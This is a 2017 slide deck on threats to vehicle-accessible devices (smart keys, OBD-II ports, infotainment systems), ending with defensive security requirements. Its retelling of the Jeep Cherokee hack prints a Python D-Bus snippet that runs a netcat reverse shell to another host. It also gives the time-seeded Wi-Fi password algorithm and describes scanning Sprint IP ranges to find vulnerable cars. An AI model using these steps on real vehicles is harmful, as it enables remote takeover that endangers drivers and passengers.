Threats and Requirements of Vehicle Accessible External Devices

28 August 2017

S.Park, A.Cho and S.Kim
Vulnerable points in a vehicle

Threats of vehicle accessible external devices

- Case ①: ‘Smart key’
- Case ②: ‘OBD-II port’
- Case ③: ‘Infotainment system’

Security Requirements

- Secure Flashing
- Secure Accessing
- Secure Booting
- Secure Debugging
- Secure CAN/Ethernet communication
- F/SOTA
- IDS
Vulnerable points in a vehicle

Classification

Outside
- Wired connection
- Scanner
- External storage

Interface
- Wireless connection
- 3G/4G
- WiFi
- Bluetooth
- Smart key
- V2X
- Sensors

Inside (IVN/ECUs)
- Central gateway
- In-vehicle network
  - CAN, Ethernet, Lin, FlexRay, MOST ...
- ECU
  - Engine, Transmission, Brake, Airbag...

Relevant Systems
- Vehicle Diagnosis System
- Telematics center
- Wired / Wireless network
- Road side unit
- Smart key controller
- Infotainment system
- OBD-II port
Vulnerable points in a vehicle

Classification

Outside
- Wired connection
- Scanner
- External storage

Interface
- Wireless connection

Inside (IVN/ECUs)
- Smart key controller
- Infotainment system
- OBD-II port
- Central gateway
- In-vehicle network
  - CAN, Ethernet, Lin, FlexRay, MOST...
- ECUs
  - Engine, Transmission, Brake, Airbag...

Relevant Systems
- Vehicle Diagnosis System
- Telematics center
- Wired / Wireless network
- Road side unit
- Sensors
Case ① - Smart key

Passive Keyless Entry / Go (PKE/G)

- Automotive security system
  - Operating automatically when the user is in proximity to the vehicle
  - Unlocking the door by just pushing door open button
  - Locking it when the user walks away
  - Starting/stop engine by just pushing start/stop button

- Essential components in a key and a vehicle
  - Key : RF signal transmitter and LF signal receiver
  - Car : LF signal transmitter and RF signal receiver
  - Common : Message encoder/decoder

- Operation process

  1. Pushing door button in a car
  2. Sending coded message from vehicle (transferable to 1~2 m)
  3. Validating message in a key
  4. Sending coded message from key (transferable to 10~100 m)
  5. Validating message in a car
  6. Opening the door

It works only when the driver is near the vehicle
Case ① - Smart key

Vulnerable point of PKE/G system

Smart key
- RF transmitter
- LF receiver

Far distance
- LF signal not reachable to smart key
- Door won’t open

Amplifier
- LF signal reachable to smart key
- Door open
- Engine started
### Case ① - Smart key

**Vulnerability test results (from ADAC, German Auto Club)**

<table>
<thead>
<tr>
<th>Fahrzeughersteller</th>
<th>Modell</th>
<th>Erstzulassung</th>
<th>Reichweite der Keyless-Verlängerung in Testhalle</th>
<th>Illegales Öffnen möglich?</th>
<th>Illegaler Motorstart möglich?</th>
</tr>
</thead>
<tbody>
<tr>
<td>Audi</td>
<td>A3</td>
<td>10/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td></td>
<td>A4</td>
<td>9/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td></td>
<td>A6</td>
<td>9/2014</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>BMW</td>
<td>730d</td>
<td>8/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>Citroen</td>
<td>D54 CrossBack</td>
<td>11/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>Ford</td>
<td>Galaxy</td>
<td>5/2014</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td></td>
<td>Eco-Sport</td>
<td>10/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>Honda</td>
<td>HR-V</td>
<td>6/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>Hyundai</td>
<td>Santa Fee</td>
<td>8/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>KIA</td>
<td>Optima</td>
<td>11/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>Lexus</td>
<td>RX 450h</td>
<td>12/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>Range Rover</td>
<td>Evoque</td>
<td>9/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>Renault</td>
<td>Traffic</td>
<td>11/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>Mazda</td>
<td>CX-5</td>
<td>3/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>MINI</td>
<td>Clubman</td>
<td>8/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>Mitsubishi</td>
<td>Outlander</td>
<td>12/2013</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>Nissan</td>
<td>Qashqai+2</td>
<td>11/2013</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td></td>
<td>Leaf</td>
<td>05/2012</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>Opel</td>
<td>Ampera</td>
<td>03/2012</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>SsangYong</td>
<td>Tivoli XDi</td>
<td>09/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>Subaru</td>
<td>Levorg</td>
<td>8/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>Toyota</td>
<td>RAV4</td>
<td>12/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td>VW</td>
<td>Golf 7 GTD</td>
<td>10/2013</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
<tr>
<td></td>
<td>Touran ST</td>
<td>12/2015</td>
<td>Max.</td>
<td>Ja</td>
<td>Ja</td>
</tr>
</tbody>
</table>

- **Tested 24 production cars sold in Europe**
  - All car’s door open w/o a key
  - All car’s engine started w/o a key

**Critical vulnerable point**
Case ② - OBD-II port

» WiFi, BT, 3G ODB-II dongle is only 10$ in AliExpress

□ Usages

► **Diagnosis** of various vehicle sub-systems
   :: Engine, Transmission, Steering, Body stabilization, Brake, Air-bag and etc.

► **S/W updating** in ECUs to fix problems

□ Vulnerable points

► No authentication process for accessing to this port
   » diagnostic tools and various wireless devices

► **Remote attack is possible if wireless device is attached**

» WiFi, BT, 3G ODB-II dongle is only 10$ in AliExpress

ex) After market HUD, For collecting information by insurance company …
Case ② - OBD-II port

- **Attack scenario**

  ① Intentionally, **Bluetooth OBD-II dongle attached to OBD-II port** by owner
     → Insurance fee discount, private vehicle diagnosis, convenient service (e.g. HUD) and etc.

  ② **App including malware distributed**
     → Enabling send/receive CAN message w/o owner’s permission

  ③ **Owner using the app**
     → Malware working

  ④ **Sending CAN messages to control the vehicle / Eavesdropping private information** (routing information, banking accounts and etc.)
### Various hacking cases using OBD-II port

<table>
<thead>
<tr>
<th>No.</th>
<th>Date</th>
<th>Hacker</th>
<th>Target vehicle</th>
<th>A way to access to OBD-II port</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>’10.05</td>
<td>Washington Univ./Sandiego Univ (US)</td>
<td>Unknown</td>
<td>Laptop → OBD-II port</td>
<td>Instrument cluster control, Radio channel/volume control, door control, wiper control, engine stop, steering wheel control, light control and etc.</td>
</tr>
<tr>
<td>2</td>
<td>’12.08</td>
<td>Korea Univ. (Kor)</td>
<td>Accent (Hyundai)</td>
<td>Smart phone with a hacked app → Bluetooth dongle → OBD-II port</td>
<td>Instrument cluster control, engine stop, automatic parking system control and etc.</td>
</tr>
<tr>
<td>3</td>
<td>’13.04</td>
<td>Kristoffer Smith (US)</td>
<td>Grand Cherokee (Jeep)</td>
<td>Tablet → OBD-II port</td>
<td>Instrument cluster control, radio control and etc.</td>
</tr>
<tr>
<td>4</td>
<td>’13.08</td>
<td>Charlie Miller, Chris Valasek (US)</td>
<td>Prious (Toyota) Escapte (Ford)</td>
<td>Laptop → OBD-II port</td>
<td>Instrument cluster control, radio control, brake system/steering wheel/transmission control when over 80 km/h</td>
</tr>
<tr>
<td>5</td>
<td>’15.05</td>
<td>NHTSA (US)</td>
<td>Prious (Toyota) Fusion (Ford)</td>
<td>Laptop → OBD-II port</td>
<td>Instrument cluster control, window open/close, brake system control, engine stop and etc.</td>
</tr>
<tr>
<td>6</td>
<td>’15.08</td>
<td>Sandiego Univ (US)</td>
<td>Corvette13MY (Chevrolet)</td>
<td>Sending SMS → 3G dongle (provided by insurance company) → OBD-II port</td>
<td>Instrument cluster control, radio control, brake system/steering wheel/transmission control and etc.</td>
</tr>
<tr>
<td>7</td>
<td>’15.12</td>
<td>Hirosima Univ (Jap)</td>
<td>Corolla (Toyota)</td>
<td>Smart phone with a hacked app → WiFi dongle → OBD-II port</td>
<td>Instrument cluster control, window open/close and etc.</td>
</tr>
</tbody>
</table>
Case ③ - Infotainment system

Features

► Vehicle Communication Systems
- For external data connection, it supports
  - LTE, GSM, CDMA, Wi-Fi, Bluetooth and etc.
  - Vehicle can be connected to service provider server and cloud.

► Web-Based Services
- A number of web-based services provided
  - Offering various services such as multimedia player, navigation, internet access,
    locking/unlocking vehicles remotely, remote engine start, remote diagnostics, remote vehicle control,
    software updates and etc.
Case ③ - Infotainment system

**Vulnerable points of infotainment system**

- **Becomes a Node of network / cloud** (when it is connected to internet)
  - Makes an interesting target to potentially steal sensitive *personal information*
    - Account numbers, Contact information, User names, Passwords and Billing related information
  - Makes vulnerable to all sorts of *cyber viruses and security attacks*
    - Hacker can use network hacking techniques such as port scanning, firewall loop holes …

- **Various Web-based Apps**
  - Subscription based services containing *user info* with respect to the purchased subscription
  - Unauthorized access to various apps can expose *personal information* of user, and result in *financial losses*

- **Integration of Different Connectivity technologies**
  - Brings another set of security vulnerabilities for the system
    - *Any security compromises* in Bluetooth protocol can result in the hacking of *personal contact information*
    - Any vulnerability in the USB stack can potentially result in accessing the operating system of the infotainment systems that *can expose sensitive system information of the user or vehicle*
Case ③ - Infotainment system

Practical hacking case

Succeed a remote attack against an unaltered production car

<Included technologies>
- Infotainment system → Wireless connection (3G, WiFi, BT)
- Adaptive Cruise Control → Engine, Brake’s control
- Forward Collision Warning+ → Brake’s control
- Lane Departure Warning+ → Steering control
- Park Assist System → Steering control

⇒ Perfect conditions for hacker

<Vulnerabilities>
① Weak password generation rule
② Allowing port scan
③ No authentication for accessing important BUS
④ Not using digital signature for system update

Charlie Miller and Chris Valasek originally hacked a Jeep Cherokee in 2015.
Case ③ - Infotainment system

 Practical hacking case

 ► Step 1: Acquisition of Access Password to Wi-Fi hotspot system

① Downloaded wifi service related binary file from chipset site (using VIN number)
② Analyzed it (disassembling the 'WifiSvc' binary)

Password generation algorithm founded

```c
char *get_password()
{
    int c_max = 12;
    int c_min = 8;

    unsigned int t = time(NULL);
    srand (t);
    unsigned int len = (rand() % (c_max - c_min + 1)) + c_min;
    char *password = malloc(len);
    int w9 = 0;
    do{
        unsigned int w10 = rand();
        int w11 = convert byte to ascii letter(w10 % 32);
        w9++;
        password[w9] = w11;
    } while (len > w9);
    return password;
}
```

► Generated automatically based on the time when the car & multimedia system is turned on for the very first time.

► Not able to set the exact time, default time (Jan 01 2013 00.00.00) applied.
► And actually, the test car had a password as ‘TtYMxfPhZxkp’.

<table>
<thead>
<tr>
<th>Password</th>
<th>UNIX time</th>
<th>General time</th>
</tr>
</thead>
<tbody>
<tr>
<td>TtYMxfPhZxkp</td>
<td>1356998432</td>
<td>Jan 01 2013 00.00.32 GMT</td>
</tr>
</tbody>
</table>

► Means took 32 seconds for booting up head unit from default time.
► Means can find the password by trying a handful of realistic possibilities.

Can get Wi-Fi hotspot password easily
Case ③ - Infotainment system

![Practical hacking case](image)

- **Step 2: Finding Open Port**
  1. Connected to infotainment system by using Wi-Fi hotspot (using password)
  2. Performing port scan

<table>
<thead>
<tr>
<th>Command</th>
<th>Output</th>
</tr>
</thead>
<tbody>
<tr>
<td>`netstat -n</td>
<td>grep LISTEN`</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
</tr>
</tbody>
</table>

- Port 6667 is used for IRC chatting
  - IRC: Internet Relay Chat process working on a client/server networking model
- Found as D-BUS (IPC)
  - IPC: Inter-Process Communication

- Connected without authentication

```python
import dbus
bus_obj = dbus.bus.BusConnection("tcp:host=192.168.5.1.port=6667")
proxy_object = bus_obj.get_object("com.harman.service.NavTrailService", '/com/harman/service/NavTrailService')
playerengine_iface = dbus.Interface(proxy_object, dbus_interface='com.harman.ServiceIpc')
print playerengine_iface.Invoke("execute", {'cmd':"netcat -l -p 6666 | /bin/sh | netcat 192.168.5.109 6666"})
```

- Perform 4 lines codes
- Acquiring **Root privilege**

Accessed to the internal bus w/o any authentication and getting root privilege
**Case ③ - Infotainment system**

- Practical hacking case

  ► **Step 3: Cellular Exploitation and updating Hacked Firmware**

  ① Exploiting cellular network for getting access to the system by using 3G

  → Enabling much more long distance attack than WiFi access

  → Found **Sprint 3G service** using vehicle IP address block: **21.0.0.0/8** or **25.0.0.0/8**

  ```
  # ifconfig
  lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 33192
      inet 127.0.0.1 netmask 0xff000000
  pfflag0: flags=100<PROMISC> mtu 33192
  nap0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        address: 30:14:4a:ee:a6:f8
        media: <unknown type> autoselect
        inet 192.168.5.1 netmask 0xffffff00 broadcast 192.168.5.255
  ppp0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1472
        inet 21.28.103.144 -> 68.28.89.85 netmask 0xff000000
  ```

  ➤ **WiFi Hot-spot**

  ➤ **3G services**

  ➤ Scanning for vulnerable vehicles by using Sprint devices

  - Scanning IP address **21.0.0.0/8** and **25.0.0.0/8**
  - **Anything that responds is a vulnerable vehicle**

  Target vehicle for remote attack can be selected easily.
Case ③ - Infotainment system

Practical hacking case

Step 3: Cellular Exploitation and updating Hacked Firmware

② For sending CAN messages to CAN bus, update firmware of CAN interface
   ➔ Original CAN interface only receives CAN message from ECUs
   ➔ Make it enable to send CAN message to ECUs

i) Firmware analysis and modification

ii) Update CAN interface with hacked firmware

Firmware is updated w/o checking Digital Signature

Step 4: Sending CAN messages

Diagnostic CAN message for killing engine, no brakes and steering control

ex) CAN message for controlling steering wheel

Target vehicle perfectly hacked by remote hacker
## Various hacking cases using infotainment system

<table>
<thead>
<tr>
<th>No.</th>
<th>Date</th>
<th>Hacker</th>
<th>Target vehicle</th>
<th>How to hack</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>‘15.07</td>
<td>Charlie Miller / Chris Valasek</td>
<td>Cherokee (Chrysler)</td>
<td>Attacker ↔ Mobile network ↔ Infotainment system ↔ CAN bus in a vehicle</td>
<td>Engine stop, Steering wheel control, Brake control and etc.</td>
</tr>
<tr>
<td>2</td>
<td>‘15.07</td>
<td>Samy Kamkar</td>
<td>On-Star telematics system (GM)</td>
<td>Attacker ↔ Spoofed WiFi ↔ App in a vehicle</td>
<td>Stealing private information, remote controlling window/air conditioner and etc.</td>
</tr>
<tr>
<td>3</td>
<td>‘15.08</td>
<td>Mark Roger / Kevin Mahaffy</td>
<td>Model S (Tesla)</td>
<td>Acquisition root permission through Ethernet ↔ Tesla Network ↔ App in a vehicle</td>
<td>Remote door open/close, Engine start/stop and etc.</td>
</tr>
<tr>
<td>4</td>
<td>‘16.02</td>
<td>Troy Hunt</td>
<td>Leaf (Nissan)</td>
<td>Attacker ↔ Proxy server ↔ App in a vehicle</td>
<td>Used vulnerability of using VIN for authentication → Attacker in Australia controlling air-conditioner of a vehicle in UK</td>
</tr>
<tr>
<td>5</td>
<td>‘16.06</td>
<td>Pen Test Partners (UK)</td>
<td>Outlander PHEV (Mitsubishi)</td>
<td>Attacker ↔ Wi-Fi eavesdropping ↔ App in a vehicle</td>
<td>Acquisition of secret key used in communication with app in a vehicle → Attacker controlling light, air-conditioner, tracking vehicle position and etc.</td>
</tr>
</tbody>
</table>
Security requirements for vehicle accessible devices

- Secure method for smart key
  - For defense of remote relay / replay attacks : e.g.) Using scalar / vector method

- Secure Flashing
  - For defense of modifying ECU S/W arbitrarily : e.g.) Using digital signature

- Secure Accessing
  - For defense of unlicensed access of diagnostic tools : e.g.) Using certificate for accessing

- Secure Booting
  - For checking S/W integrity in booting process : e.g.) Using cascading S/W integrity check

- Secure Debugging
  - For protecting Micom debugging port : e.g.) Using certificate for debugging

- Secure CAN/Ethernet communication
  - For assuring CAN / Ethernet message's integrity and MAC (message authentication code)

- F/SOTA (Firmware/Software update Over The Air)
  - For immediate action on potential or real hacking problem

- IDS (Intrusion Detection System)
  - For detecting intrusion of malicious CAN message
Q / A